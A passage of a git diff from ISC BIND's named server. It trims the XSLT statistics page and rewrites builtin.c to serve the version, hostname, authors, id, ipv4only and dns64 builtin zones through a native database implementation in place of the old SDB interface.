 	<a href="/xml/v3/zones">Zones</a>,
 	<a href="/xml/v3/net">Network</a>,
-	<a href="/xml/v3/tasks">Tasks</a>,
 	<a href="/xml/v3/mem">Memory</a> and
 	<a href="/xml/v3/traffic">Traffic Size</a></p>
         <hr/>
@@ -928,134 +907,6 @@
             </xsl:for-each>
           </xsl:for-each>
         </xsl:if>
-        <xsl:if test="socketmgr/sockets/socket">
-          <h2>Network Status</h2>
-          <table class="netstat">
-            <tr>
-              <th>ID</th>
-              <th>Name</th>
-              <th>Type</th>
-              <th>References</th>
-              <th>LocalAddress</th>
-              <th>PeerAddress</th>
-              <th>State</th>
-            </tr>
-            <xsl:for-each select="socketmgr/sockets/socket">
-              <xsl:sort select="id"/>
-              <xsl:variable name="css-class12">
-                <xsl:choose>
-                  <xsl:when test="position() mod 2 = 0">even</xsl:when>
-                  <xsl:otherwise>odd</xsl:otherwise>
-                </xsl:choose>
-              </xsl:variable>
-              <tr class="{$css-class12}">
-                <td>
-                  <xsl:value-of select="id"/>
-                </td>
-                <td>
-                  <xsl:value-of select="name"/>
-                </td>
-                <td>
-                  <xsl:value-of select="type"/>
-                </td>
-                <td>
-                  <xsl:value-of select="references"/>
-                </td>
-                <td>
-                  <xsl:value-of select="local-address"/>
-                </td>
-                <td>
-                  <xsl:value-of select="peer-address"/>
-                </td>
-                <td>
-                  <xsl:for-each select="states">
-                    <xsl:value-of select="."/>
-                  </xsl:for-each>
-                </td>
-              </tr>
-            </xsl:for-each>
-          </table>
-          <br/>
-        </xsl:if>
-        <xsl:if test="taskmgr/thread-model/type">
-          <h2>Task Manager Configuration</h2>
-          <table class="counters">
-            <tr>
-              <th class="even">Thread-Model</th>
-              <td>
-                <xsl:value-of select="taskmgr/thread-model/type"/>
-              </td>
-            </tr>
-            <tr class="odd">
-              <th>Worker Threads</th>
-              <td>
-                <xsl:value-of select="taskmgr/thread-model/worker-threads"/>
-              </td>
-            </tr>
-            <tr class="even">
-              <th>Default Quantum</th>
-              <td>
-                <xsl:value-of select="taskmgr/thread-model/default-quantum"/>
-              </td>
-            </tr>
-            <tr class="odd">
-              <th>Tasks Running</th>
-              <td>
-                <xsl:value-of select="taskmgr/thread-model/tasks-running"/>
-              </td>
-            </tr>
-            <tr class="even">
-              <th>Tasks Ready</th>
-              <td>
-                <xsl:value-of select="taskmgr/thread-model/tasks-ready"/>
-              </td>
-            </tr>
-          </table>
-          <br/>
-        </xsl:if>
-        <xsl:if test="taskmgr/tasks/task">
-          <h2>Tasks</h2>
-          <table class="tasks">
-            <tr>
-              <th>ID</th>
-              <th>Name</th>
-              <th>References</th>
-              <th>State</th>
-              <th>Quantum</th>
-              <th>Events</th>
-            </tr>
-            <xsl:for-each select="taskmgr/tasks/task">
-              <xsl:sort select="name"/>
-              <xsl:variable name="css-class14">
-                <xsl:choose>
-                  <xsl:when test="position() mod 2 = 0">even</xsl:when>
-                  <xsl:otherwise>odd</xsl:otherwise>
-                </xsl:choose>
-              </xsl:variable>
-              <tr class="{$css-class14}">
-                <td>
-                  <xsl:value-of select="id"/>
-                </td>
-                <td>
-                  <xsl:value-of select="name"/>
-                </td>
-                <td>
-                  <xsl:value-of select="references"/>
-                </td>
-                <td>
-                  <xsl:value-of select="state"/>
-                </td>
-                <td>
-                  <xsl:value-of select="quantum"/>
-                </td>
-                <td>
-                  <xsl:value-of select="events"/>
-                </td>
-              </tr>
-            </xsl:for-each>
-          </table>
-          <br/>
-        </xsl:if>
         <xsl:if test="memory/summary">
           <h2>Memory Usage Summary</h2>
           <table class="counters">
@@ -1085,12 +936,7 @@
               <th>ID</th>
               <th>Name</th>
               <th>References</th>
-              <th>TotalUse</th>
               <th>InUse</th>
-              <th>MaxUse</th>
-              <th>Malloced</th>
-              <th>MaxMalloced</th>
-              <th>BlockSize</th>
               <th>Pools</th>
               <th>HiWater</th>
               <th>LoWater</th>
@@ -1113,24 +959,9 @@
                 <td>
                   <xsl:value-of select="references"/>
                 </td>
-                <td>
-                  <xsl:value-of select="total"/>
-                </td>
                 <td>
                   <xsl:value-of select="inuse"/>
                 </td>
-                <td>
-                  <xsl:value-of select="maxinuse"/>
-                </td>
-                <td>
-                  <xsl:value-of select="malloced"/>
-                </td>
-                <td>
-                  <xsl:value-of select="maxmalloced"/>
-                </td>
-                <td>
-                  <xsl:value-of select="blocksize"/>
-                </td>
                 <td>
                   <xsl:value-of select="pools"/>
                 </td>
diff --git a/bin/named/builtin.c b/bin/named/builtin.c
index c2bbc59655..1f46f0ad4f 100644
--- a/bin/named/builtin.c
+++ b/bin/named/builtin.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -17,65 +19,217 @@
 #include <stdio.h>
 #include <string.h>
 
+#include <isc/lex.h>
 #include <isc/mem.h>
-#include <isc/print.h>
 #include <isc/result.h>
 #include <isc/util.h>
 
-#include <dns/result.h>
-#include <dns/sdb.h>
+#include <dns/callbacks.h>
+#include <dns/dbiterator.h>
+#include <dns/rdatalist.h>
+#include <dns/rdatasetiter.h>
+#include <dns/types.h>
 
 #include <named/builtin.h>
 #include <named/globals.h>
 #include <named/os.h>
 #include <named/server.h>
 
-typedef struct builtin builtin_t;
+#define BDBNODE_MAGIC	    ISC_MAGIC('B', 'D', 'B', 'N')
+#define VALID_BDBNODE(bdbl) ISC_MAGIC_VALID(bdbl, BDBNODE_MAGIC)
+
+/*%
+ * Note that "impmagic" is not the first four bytes of the struct, so
+ * ISC_MAGIC_VALID cannot be used here.
+ */
+#define BDB_MAGIC      ISC_MAGIC('B', 'D', 'B', '-')
+#define VALID_BDB(bdb) ((bdb) != NULL && (bdb)->common.impmagic == BDB_MAGIC)
+
+#define BDB_DNS64 0x00000001U
+
+typedef struct bdbimplementation {
+	unsigned int flags;
+	dns_dbimplementation_t *dbimp;
+} bdbimplementation_t;
+
+typedef struct bdbnode bdbnode_t;
+typedef struct bdb {
+	dns_db_t common;
+	bdbimplementation_t *implementation;
+	isc_result_t (*lookup)(bdbnode_t *node);
+	char *server;
+	char *contact;
+} bdb_t;
+
+struct bdbnode {
+	unsigned int magic;
+	isc_refcount_t references;
+	bdb_t *bdb;
+	ISC_LIST(dns_rdatalist_t) lists;
+	ISC_LIST(isc_buffer_t) buffers;
+	dns_name_t *name;
+	ISC_LINK(bdbnode_t) link;
+	dns_rdatacallbacks_t callbacks;
+};
+
+typedef struct bdb_rdatasetiter {
+	dns_rdatasetiter_t common;
+	dns_rdatalist_t *current;
+} bdb_rdatasetiter_t;
 
 static isc_result_t
-do_authors_lookup(dns_sdblookup_t *lookup);
-static isc_result_t
-do_dns64_lookup(dns_sdblookup_t *lookup);
-static isc_result_t
-do_empty_lookup(dns_sdblookup_t *lookup);
-static isc_result_t
-do_hostname_lookup(dns_sdblookup_t *lookup);
-static isc_result_t
-do_id_lookup(dns_sdblookup_t *lookup);
+findrdataset(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
+	     dns_rdatatype_t type, dns_rdatatype_t covers, isc_stdtime_t now,
+	     dns_rdataset_t *rdataset,
+	     dns_rdataset_t *sigrdataset DNS__DB_FLARG);
+
+static void
+attachnode(dns_db_t *db, dns_dbnode_t *source,
+	   dns_dbnode_t **targetp DNS__DB_FLARG);
+
+static void
+detachnode(dns_db_t *db, dns_dbnode_t **nodep DNS__DB_FLARG);
+
+/*
+ * Helper functions to convert text to wire forma.
+ */
 static isc_result_t
-do_ipv4only_lookup(dns_sdblookup_t *lookup);
+putrdata(bdbnode_t *node, dns_rdatatype_t typeval, dns_ttl_t ttl,
+	 const unsigned char *rdatap, unsigned int rdlen) {
+	dns_rdatalist_t *rdatalist = NULL;
+	dns_rdata_t *rdata = NULL;
+	isc_buffer_t *rdatabuf = NULL;
+	isc_mem_t *mctx = NULL;
+	isc_region_t region;
+
+	mctx = node->bdb->common.mctx;
+
+	rdatalist = ISC_LIST_HEAD(node->lists);
+	while (rdatalist != NULL) {
+		if (rdatalist->type == typeval) {
+			break;
+		}
+		rdatalist = ISC_LIST_NEXT(rdatalist, link);
+	}
+
+	if (rdatalist == NULL) {
+		rdatalist = isc_mem_get(mctx, sizeof(dns_rdatalist_t));
+		dns_rdatalist_init(rdatalist);
+		rdatalist->rdclass = node->bdb->common.rdclass;
+		rdatalist->type = typeval;
+		rdatalist->ttl = ttl;
+		ISC_LIST_APPEND(node->lists, rdatalist, link);
+	} else if (rdatalist->ttl != ttl) {
+		return (DNS_R_BADTTL);
+	}
+
+	rdata = isc_mem_get(mctx, sizeof(dns_rdata_t));
+
+	isc_buffer_allocate(mctx, &rdatabuf, rdlen);
+	region.base = UNCONST(rdatap);
+	region.length = rdlen;
+	isc_buffer_copyregion(rdatabuf, &region);
+	isc_buffer_usedregion(rdatabuf, &region);
+	dns_rdata_init(rdata);
+	dns_rdata_fromregion(rdata, rdatalist->rdclass, rdatalist->type,
+			     &region);
+	ISC_LIST_APPEND(rdatalist->rdata, rdata, link);
+	ISC_LIST_APPEND(node->buffers, rdatabuf, link);
+
+	return (ISC_R_SUCCESS);
+}
+
 static isc_result_t
-do_ipv4reverse_lookup(dns_sdblookup_t *lookup);
+putrr(bdbnode_t *node, const char *type, dns_ttl_t ttl, const char *data) {
+	isc_result_t result;
+	dns_rdatatype_t typeval;
+	isc_lex_t *lex = NULL;
+	isc_mem_t *mctx = NULL;
+	const dns_name_t *origin = NULL;
+	isc_buffer_t *rb = NULL;
+	isc_buffer_t b;
+
+	REQUIRE(VALID_BDBNODE(node));
+	REQUIRE(type != NULL);
+	REQUIRE(data != NULL);
+
+	mctx = node->bdb->common.mctx;
+	origin = &node->bdb->common.origin;
+
+	isc_constregion_t r = { .base = type, .length = strlen(type) };
+	result = dns_rdatatype_fromtext(&typeval, (isc_textregion_t *)&r);
+	if (result != ISC_R_SUCCESS) {
+		return (result);
+	}
+
+	isc_lex_create(mctx, 64, &lex);
+
+	size_t datalen = strlen(data);
+	isc_buffer_constinit(&b, data, datalen);
+	isc_buffer_add(&b, datalen);
+
+	result = isc_lex_openbuffer(lex, &b);
+	if (result != ISC_R_SUCCESS) {
+		return (result);
+	}
+
+	isc_buffer_allocate(mctx, &rb, DNS_RDATA_MAXLENGTH);
+	result = dns_rdata_fromtext(NULL, node->bdb->common.rdclass, typeval,
+				    lex, origin, 0, mctx, rb, &node->callbacks);
+	isc_lex_destroy(&lex);
+
+	if (result == ISC_R_SUCCESS) {
+		result = putrdata(node, typeval, ttl, isc_buffer_base(rb),
+				  isc_buffer_usedlength(rb));
+	}
+
+	isc_buffer_free(&rb);
+
+	return (result);
+}
+
+/* Reasonable default SOA values */
+#define DEFAULT_REFRESH 28800U	/* 8 hours */
+#define DEFAULT_RETRY	7200U	/* 2 hours */
+#define DEFAULT_EXPIRE	604800U /* 7 days */
+#define DEFAULT_MINIMUM 86400U	/* 1 day */
+#define DEFAULT_TTL	(60 * 60 * 24)
+
 static isc_result_t
-do_version_lookup(dns_sdblookup_t *lookup);
+putsoa(bdbnode_t *node, const char *mname, const char *rname, uint32_t serial) {
+	char str[2 * DNS_NAME_MAXTEXT + 5 * (sizeof("2147483647")) + 7];
+	int n;
 
-/*
- * We can't use function pointers as the db_data directly
- * because ANSI C does not guarantee that function pointers
- * can safely be cast to void pointers and back.
- */
+	REQUIRE(mname != NULL);
+	REQUIRE(rname != NULL);
 
-struct builtin {
-	isc_result_t (*do_lookup)(dns_sdblookup_t *lookup);
-	char *server;
-	char *contact;
-};
+	n = snprintf(str, sizeof(str), "%s %s %u %u %u %u %u", mname, rname,
+		     serial, DEFAULT_REFRESH, DEFAULT_RETRY, DEFAULT_EXPIRE,
+		     DEFAULT_MINIMUM);
+	if (n >= (int)sizeof(str) || n < 0) {
+		return (ISC_R_NOSPACE);
+	}
+	return (putrr(node, "SOA", DEFAULT_TTL, str));
+}
 
-static builtin_t authors_builtin = { do_authors_lookup, NULL, NULL };
-static builtin_t dns64_builtin = { do_dns64_lookup, NULL, NULL };
-static builtin_t empty_builtin = { do_empty_lookup, NULL, NULL };
-static builtin_t hostname_builtin = { do_hostname_lookup, NULL, NULL };
-static builtin_t id_builtin = { do_id_lookup, NULL, NULL };
-static builtin_t ipv4only_builtin = { do_ipv4only_lookup, NULL, NULL };
-static builtin_t ipv4reverse_builtin = { do_ipv4reverse_lookup, NULL, NULL };
-static builtin_t version_builtin = { do_version_lookup, NULL, NULL };
+static isc_result_t
+puttxt(bdbnode_t *node, const char *text) {
+	unsigned char buf[256];
+	unsigned int len = strlen(text);
 
-static dns_sdbimplementation_t *builtin_impl;
-static dns_sdbimplementation_t *dns64_impl;
+	if (len > 255) {
+		len = 255; /* Silently truncate */
+	}
+	buf[0] = len;
+	memmove(&buf[1], text, len);
+	return (putrdata(node, dns_rdatatype_txt, 0, buf, len + 1));
+}
 
 /*
- * Pre computed HEX * 16 or 1 table.
+ * Builtin database implementation functions.
  */
+
+/* Precomputed HEX * 16 or 1 table. */
 static const unsigned char hex16[256] = {
 	1, 1,	1,   1,	  1,   1,   1,	 1,   1,   1,	1, 1, 1, 1, 1, 1, /*00*/
 	1, 1,	1,   1,	  1,   1,   1,	 1,   1,   1,	1, 1, 1, 1, 1, 1, /*10*/
@@ -129,8 +283,7 @@ dns64_rdata(unsigned char *v, size_t start, unsigned char *rdata) {
 }
 
 static isc_result_t
-dns64_cname(const dns_name_t *zone, const dns_name_t *name,
-	    dns_sdblookup_t *lookup) {
+dns64_cname(const dns_name_t *zone, const dns_name_t *name, bdbnode_t *node) {
 	size_t zlen, nlen, j, len;
 	unsigned char v[16], n;
 	unsigned int i;
@@ -151,13 +304,6 @@ dns64_cname(const dns_name_t *zone, const dns_name_t *name,
 		return (ISC_R_NOTFOUND);
 	}
 
-	/*
-	 * We assume the zone name is well formed.
-	 */
-
-	/*
-	 * XXXMPA We could check the dns64 suffix here if we need to.
-	 */
 	/*
 	 * Check that name is a series of nibbles.
 	 * Compute the byte values that correspond to the nibbles as we go.
@@ -301,95 +447,87 @@ dns64_cname(const dns_name_t *zone, const dns_name_t *name,
 	 * Reverse of 192.0.0.170 or 192.0.0.171 maps to ipv4only.arpa.
 	 */
 	if ((v[0] == 170 || v[0] == 171) && v[1] == 0 && v[2] == 0 &&
-	    v[3] == 192) {
-		return (dns_sdb_putrdata(lookup, dns_rdatatype_ptr, 3600,
-					 ipv4only, sizeof(ipv4only)));
+	    v[3] == 192)
+	{
+		return (putrdata(node, dns_rdatatype_ptr, 3600, ipv4only,
+				 sizeof(ipv4only)));
 	}
 
-	return (dns_sdb_putrdata(lookup, dns_rdatatype_cname, 600, rdata,
-				 (unsigned int)len));
+	return (putrdata(node, dns_rdatatype_cname, 600, rdata,
+			 (unsigned int)len));
 }
 
 static isc_result_t
-builtin_lookup(const char *zone, const char *name, void *dbdata,
-	       dns_sdblookup_t *lookup, dns_clientinfomethods_t *methods,
-	       dns_clientinfo_t *clientinfo) {
-	builtin_t *b = (builtin_t *)dbdata;
-
-	UNUSED(zone);
-	UNUSED(methods);
-	UNUSED(clientinfo);
-
-	if (strcmp(name, "@") == 0) {
-		return (b->do_lookup(lookup));
+builtin_lookup(bdb_t *bdb, const dns_name_t *name, bdbnode_t *node) {
+	if (name->labels == 0 && name->length == 0) {
+		return (bdb->lookup(node));
+	} else if ((node->bdb->implementation->flags & BDB_DNS64) != 0) {
+		return (dns64_cname(&bdb->common.origin, name, node));
 	} else {
 		return (ISC_R_NOTFOUND);
 	}
 }
 
 static isc_result_t
-dns64_lookup(const dns_name_t *zone, const dns_name_t *name, void *dbdata,
-	     dns_sdblookup_t *lookup, dns_clientinfomethods_t *methods,
-	     dns_clientinfo_t *clientinfo) {
-	builtin_t *b = (builtin_t *)dbdata;
+builtin_authority(bdb_t *bdb, bdbnode_t *node) {
+	isc_result_t result;
+	const char *contact = "hostmaster";
+	const char *server = "@";
 
-	UNUSED(methods);
-	UNUSED(clientinfo);
+	if (bdb->server != NULL) {
+		server = bdb->server;
+	}
+	if (bdb->contact != NULL) {
+		contact = bdb->contact;
+	}
 
-	if (name->labels == 0 && name->length == 0) {
-		return (b->do_lookup(lookup));
-	} else {
-		return (dns64_cname(zone, name, lookup));
+	result = putsoa(node, server, contact, 0);
+	if (result != ISC_R_SUCCESS) {
+		return (ISC_R_FAILURE);
 	}
-}
 
-static isc_result_t
-put_txt(dns_sdblookup_t *lookup, const char *text) {
-	unsigned char buf[256];
-	unsigned int len = strlen(text);
-	if (len > 255) {
-		len = 255; /* Silently truncate */
+	result = putrr(node, "NS", 0, server);
+	if (result != ISC_R_SUCCESS) {
+		return (ISC_R_FAILURE);
 	}
-	buf[0] = len;
-	memmove(&buf[1], text, len);
-	return (dns_sdb_putrdata(lookup, dns_rdatatype_txt, 0, buf, len + 1));
+
+	return (ISC_R_SUCCESS);
 }
 
 static isc_result_t
-do_version_lookup(dns_sdblookup_t *lookup) {
+version_lookup(bdbnode_t *node) {
 	if (named_g_server->version_set) {
 		if (named_g_server->version == NULL) {
 			return (ISC_R_SUCCESS);
 		} else {
-			return (put_txt(lookup, named_g_server->version));
+			return (puttxt(node, named_g_server->version));
 		}
 	} else {
-		return (put_txt(lookup, PACKAGE_VERSION));
+		return (puttxt(node, PACKAGE_VERSION));
 	}
 }
 
 static isc_result_t
-do_hostname_lookup(dns_sdblookup_t *lookup) {
+hostname_lookup(bdbnode_t *node) {
 	if (named_g_server->hostname_set) {
 		if (named_g_server->hostname == NULL) {
 			return (ISC_R_SUCCESS);
 		} else {
-			return (put_txt(lookup, named_g_server->hostname));
+			return (puttxt(node, named_g_server->hostname));
 		}
 	} else {
 		char buf[256];
-		isc_result_t result = named_os_gethostname(buf, sizeof(buf));
-		if (result != ISC_R_SUCCESS) {
-			return (result);
+		if (gethostname(buf, sizeof(buf)) != 0) {
+			return (ISC_R_FAILURE);
 		}
-		return (put_txt(lookup, buf));
+		return (puttxt(node, buf));
 	}
 }
 
 static isc_result_t
-do_authors_lookup(dns_sdblookup_t *lookup) {
+authors_lookup(bdbnode_t *node) {
 	isc_result_t result;
-	const char **p;
+	const char **p = NULL;
 	static const char *authors[] = {
 		"Mark Andrews",	  "Curtis Blackburn",	"James Brister",
 		"Ben Cottrell",	  "John H. DuBois III", "Francis Dupont",
@@ -408,7 +546,7 @@ do_authors_lookup(dns_sdblookup_t *lookup) {
 	}
 
 	for (p = authors; *p != NULL; p++) {
-		result = put_txt(lookup, *p);
+		result = puttxt(node, *p);
 		if (result != ISC_R_SUCCESS) {
 			return (result);
 		}
@@ -417,43 +555,34 @@ do_authors_lookup(dns_sdblookup_t *lookup) {
 }
 
 static isc_result_t
-do_id_lookup(dns_sdblookup_t *lookup) {
-	if (named_g_server->sctx->gethostname != NULL) {
+id_lookup(bdbnode_t *node) {
+	if (named_g_server->sctx->usehostname) {
 		char buf[256];
-		isc_result_t result;
-
-		result = named_g_server->sctx->gethostname(buf, sizeof(buf));
-		if (result != ISC_R_SUCCESS) {
-			return (result);
+		if (gethostname(buf, sizeof(buf)) != 0) {
+			return (ISC_R_FAILURE);
 		}
-		return (put_txt(lookup, buf));
+		return (puttxt(node, buf));
 	} else if (named_g_server->sctx->server_id != NULL) {
-		return (put_txt(lookup, named_g_server->sctx->server_id));
+		return (puttxt(node, named_g_server->sctx->server_id));
 	} else {
 		return (ISC_R_SUCCESS);
 	}
 }
 
 static isc_result_t
-do_dns64_lookup(dns_sdblookup_t *lookup) {
-	UNUSED(lookup);
-	return (ISC_R_SUCCESS);
-}
+empty_lookup(bdbnode_t *node) {
+	UNUSED(node);
 
-static isc_result_t
-do_empty_lookup(dns_sdblookup_t *lookup) {
-	UNUSED(lookup);
 	return (ISC_R_SUCCESS);
 }
 
 static isc_result_t
-do_ipv4only_lookup(dns_sdblookup_t *lookup) {
+ipv4only_lookup(bdbnode_t *node) {
 	isc_result_t result;
 	unsigned char data[2][4] = { { 192, 0, 0, 170 }, { 192, 0, 0, 171 } };
 
 	for (int i = 0; i < 2; i++) {
-		result = dns_sdb_putrdata(lookup, dns_rdatatype_a, 3600,
-					  data[i], 4);
+		result = putrdata(node, dns_rdatatype_a, 3600, data[i], 4);
 		if (result != ISC_R_SUCCESS) {
 			return (result);
 		}
@@ -462,191 +591,699 @@ do_ipv4only_lookup(dns_sdblookup_t *lookup) {
 }
 
 static isc_result_t
-do_ipv4reverse_lookup(dns_sdblookup_t *lookup) {
+ipv4reverse_lookup(bdbnode_t *node) {
 	isc_result_t result;
 
-	result = dns_sdb_putrdata(lookup, dns_rdatatype_ptr, 3600, ipv4only,
-				  sizeof(ipv4only));
+	result = putrdata(node, dns_rdatatype_ptr, 3600, ipv4only,
+			  sizeof(ipv4only));
 	return (result);
 }
 
+/*
+ * Rdataset implementation methods. An rdataset in the builtin databases is
+ * implemented as an rdatalist which holds a reference to the dbnode,
+ * to prevent the node being freed while the rdataset is still in use, so
+ * we need local implementations of clone and disassociate but the rest of
+ * the implementation can be the same as dns_rdatalist..
+ */
+static void
+disassociate(dns_rdataset_t *rdataset DNS__DB_FLARG) {
+	dns_dbnode_t *node = rdataset->rdlist.node;
+	bdbnode_t *bdbnode = (bdbnode_t *)node;
+	dns_db_t *db = (dns_db_t *)bdbnode->bdb;
+
+	detachnode(db, &node DNS__DB_FLARG_PASS);
+	dns_rdatalist_disassociate(rdataset DNS__DB_FLARG_PASS);
+}
+
+static void
+rdataset_clone(dns_rdataset_t *source, dns_rdataset_t *target DNS__DB_FLARG) {
+	dns_dbnode_t *node = source->rdlist.node;
+	bdbnode_t *bdbnode = (bdbnode_t *)node;
+	dns_db_t *db = (dns_db_t *)bdbnode->bdb;
+
+	dns_rdatalist_clone(source, target DNS__DB_FLARG_PASS);
+	attachnode(db, node, &target->rdlist.node DNS__DB_FLARG_PASS);
+}
+
+static dns_rdatasetmethods_t bdb_rdataset_methods = {
+	.disassociate = disassociate,
+	.first = dns_rdatalist_first,
+	.next = dns_rdatalist_next,
+	.current = dns_rdatalist_current,
+	.clone = rdataset_clone,
+	.count = dns_rdatalist_count,
+	.addnoqname = dns_rdatalist_addnoqname,
+	.getnoqname = dns_rdatalist_getnoqname,
+};
+
+static void
+new_rdataset(dns_rdatalist_t *rdatalist, dns_db_t *db, dns_dbnode_t *node,
+	     dns_rdataset_t *rdataset) {
+	dns_rdatalist_tordataset(rdatalist, rdataset);
+
+	rdataset->methods = &bdb_rdataset_methods;
+	dns_db_attachnode(db, node, &rdataset->rdlist.node);
+}
+
+/*
+ * Rdataset iterator methods
+ */
+
+static void
+rdatasetiter_destroy(dns_rdatasetiter_t **iteratorp DNS__DB_FLARG) {
+	bdb_rdatasetiter_t *bdbiterator = (bdb_rdatasetiter_t *)(*iteratorp);
+	detachnode(bdbiterator->common.db,
+		   &bdbiterator->common.node DNS__DB_FLARG_PASS);
+	isc_mem_put(bdbiterator->common.db->mctx, bdbiterator,
+		    sizeof(bdb_rdatasetiter_t));
+	*iteratorp = NULL;
+}
+
 static isc_result_t
-builtin_authority(const char *zone, void *dbdata, dns_sdblookup_t *lookup) {
-	isc_result_t result;
-	const char *contact = "hostmaster";
-	const char *server = "@";
-	builtin_t *b = (builtin_t *)dbdata;
+rdatasetiter_first(dns_rdatasetiter_t *iterator DNS__DB_FLARG) {
+	bdb_rdatasetiter_t *bdbiterator = (bdb_rdatasetiter_t *)iterator;
+	bdbnode_t *bdbnode = (bdbnode_t *)iterator->node;
 
-	UNUSED(zone);
-	UNUSED(dbdata);
+	if (ISC_LIST_EMPTY(bdbnode->lists)) {
+		return (ISC_R_NOMORE);
+	}
+	bdbiterator->current = ISC_LIST_HEAD(bdbnode->lists);
+	return (ISC_R_SUCCESS);
+}
 
-	if (b == &empty_builtin) {
-		server = ".";
-		contact = ".";
+static isc_result_t
+rdatasetiter_next(dns_rdatasetiter_t *iterator DNS__DB_FLARG) {
+	bdb_rdatasetiter_t *bdbiterator = (bdb_rdatasetiter_t *)iterator;
+
+	bdbiterator->current = ISC_LIST_NEXT(bdbiterator->current, link);
+	if (bdbiterator->current == NULL) {
+		return (ISC_R_NOMORE);
 	} else {
-		if (b->server != NULL) {
-			server = b->server;
-		}
-		if (b->contact != NULL) {
-			contact = b->contact;
+		return (ISC_R_SUCCESS);
+	}
+}
+
+static void
+rdatasetiter_current(dns_rdatasetiter_t *iterator,
+		     dns_rdataset_t *rdataset DNS__DB_FLARG) {
+	bdb_rdatasetiter_t *bdbiterator = (bdb_rdatasetiter_t *)iterator;
+
+	new_rdataset(bdbiterator->current, iterator->db, iterator->node,
+		     rdataset);
+}
+
+static dns_rdatasetitermethods_t rdatasetiter_methods = {
+	rdatasetiter_destroy, rdatasetiter_first, rdatasetiter_next,
+	rdatasetiter_current
+};
+
+/*
+ * Database implementation methods
+ */
+static void
+destroy(dns_db_t *db) {
+	bdb_t *bdb = (bdb_t *)db;
+	isc_refcount_destroy(&bdb->common.references);
+
+	if (bdb->server != NULL) {
+		isc_mem_free(named_g_mctx, bdb->server);
+	}
+	if (bdb->contact != NULL) {
+		isc_mem_free(named_g_mctx, bdb->contact);
+	}
+
+	bdb->common.magic = 0;
+	bdb->common.impmagic = 0;
+
+	dns_name_free(&bdb->common.origin, bdb->common.mctx);
+
+	isc_mem_putanddetach(&bdb->common.mctx, bdb, sizeof(bdb_t));
+}
+
+/*
+ * A dummy 'version' value is used so that dns_db_createversion()
+ * can return a non-NULL version to the caller, but there can only be
+ * one version of these databases, so the version value is never used.
+ */
+static int dummy;
+
+static void
+currentversion(dns_db_t *db, dns_dbversion_t **versionp) {
+	bdb_t *bdb = (bdb_t *)db;
+
+	REQUIRE(VALID_BDB(bdb));
+
+	*versionp = (void *)&dummy;
+	return;
+}
+
+static void
+attachversion(dns_db_t *db, dns_dbversion_t *source,
+	      dns_dbversion_t **targetp) {
+	bdb_t *bdb = (bdb_t *)db;
+
+	REQUIRE(VALID_BDB(bdb));
+	REQUIRE(source != NULL && source == (void *)&dummy);
+	REQUIRE(targetp != NULL && *targetp == NULL);
+
+	*targetp = source;
+	return;
+}
+
+static void
+closeversion(dns_db_t *db, dns_dbversion_t **versionp,
+	     bool commit DNS__DB_FLARG) {
+	bdb_t *bdb = (bdb_t *)db;
+
+	REQUIRE(VALID_BDB(bdb));
+	REQUIRE(versionp != NULL && *versionp == (void *)&dummy);
+	REQUIRE(!commit);
+
+	*versionp = NULL;
+}
+
+static isc_result_t
+createnode(bdb_t *bdb, bdbnode_t **nodep) {
+	bdbnode_t *node = NULL;
+
+	REQUIRE(VALID_BDB(bdb));
+
+	node = isc_mem_get(bdb->common.mctx, sizeof(bdbnode_t));
+	*node = (bdbnode_t){
+		.lists = ISC_LIST_INITIALIZER,
+		.buffers = ISC_LIST_INITIALIZER,
+		.link = ISC_LINK_INITIALIZER,
+	};
+
+	dns_db_attach((dns_db_t *)bdb, (dns_db_t **)&node->bdb);
+	dns_rdatacallbacks_init(&node->callbacks);
+
+	isc_refcount_init(&node->references, 1);
+	node->magic = BDBNODE_MAGIC;
+
+	*nodep = node;
+	return (ISC_R_SUCCESS);
+}
+
+static void
+destroynode(bdbnode_t *node) {
+	dns_rdatalist_t *list = NULL;
+	dns_rdata_t *rdata = NULL;
+	isc_buffer_t *b = NULL;
+	bdb_t *bdb = NULL;
+	isc_mem_t *mctx = NULL;
+
+	bdb = node->bdb;
+	mctx = bdb->common.mctx;
+
+	while (!ISC_LIST_EMPTY(node->lists)) {
+		list = ISC_LIST_HEAD(node->lists);
+		while (!ISC_LIST_EMPTY(list->rdata)) {
+			rdata = ISC_LIST_HEAD(list->rdata);
+			ISC_LIST_UNLINK(list->rdata, rdata, link);
+			isc_mem_put(mctx, rdata, sizeof(dns_rdata_t));
 		}
+		ISC_LIST_UNLINK(node->lists, list, link);
+		isc_mem_put(mctx, list, sizeof(dns_rdatalist_t));
 	}
 
-	result = dns_sdb_putsoa(lookup, server, contact, 0);
+	while (!ISC_LIST_EMPTY(node->buffers)) {
+		b = ISC_LIST_HEAD(node->buffers);
+		ISC_LIST_UNLINK(node->buffers, b, link);
+		isc_buffer_free(&b);
+	}
+
+	if (node->name != NULL) {
+		dns_name_free(node->name, mctx);
+		isc_mem_put(mctx, node->name, sizeof(dns_name_t));
+	}
+
+	node->magic = 0;
+	isc_mem_put(mctx, node, sizeof(bdbnode_t));
+	dns_db_detach((dns_db_t **)(void *)&bdb);
+}
+
+static isc_result_t
+getoriginnode(dns_db_t *db, dns_dbnode_t **nodep DNS__DB_FLARG) {
+	bdb_t *bdb = (bdb_t *)db;
+	bdbnode_t *node = NULL;
+	isc_result_t result;
+	dns_name_t relname;
+	dns_name_t *name = NULL;
+
+	REQUIRE(VALID_BDB(bdb));
+	REQUIRE(nodep != NULL && *nodep == NULL);
+
+	dns_name_init(&relname, NULL);
+	name = &relname;
+
+	result = createnode(bdb, &node);
 	if (result != ISC_R_SUCCESS) {
-		return (ISC_R_FAILURE);
+		return (result);
+	}
+
+	result = builtin_lookup(bdb, name, node);
+	if (result != ISC_R_SUCCESS && result != ISC_R_NOTFOUND) {
+		destroynode(node);
+		return (result);
 	}
 
-	result = dns_sdb_putrr(lookup, "ns", 0, server);
+	result = builtin_authority(bdb, node);
 	if (result != ISC_R_SUCCESS) {
-		return (ISC_R_FAILURE);
+		destroynode(node);
+		return (result);
 	}
 
+	*nodep = node;
 	return (ISC_R_SUCCESS);
 }
 
 static isc_result_t
-builtin_create(const char *zone, int argc, char **argv, void *driverdata,
-	       void **dbdata) {
-	REQUIRE(argc >= 1);
+findnode(dns_db_t *db, const dns_name_t *name, bool create,
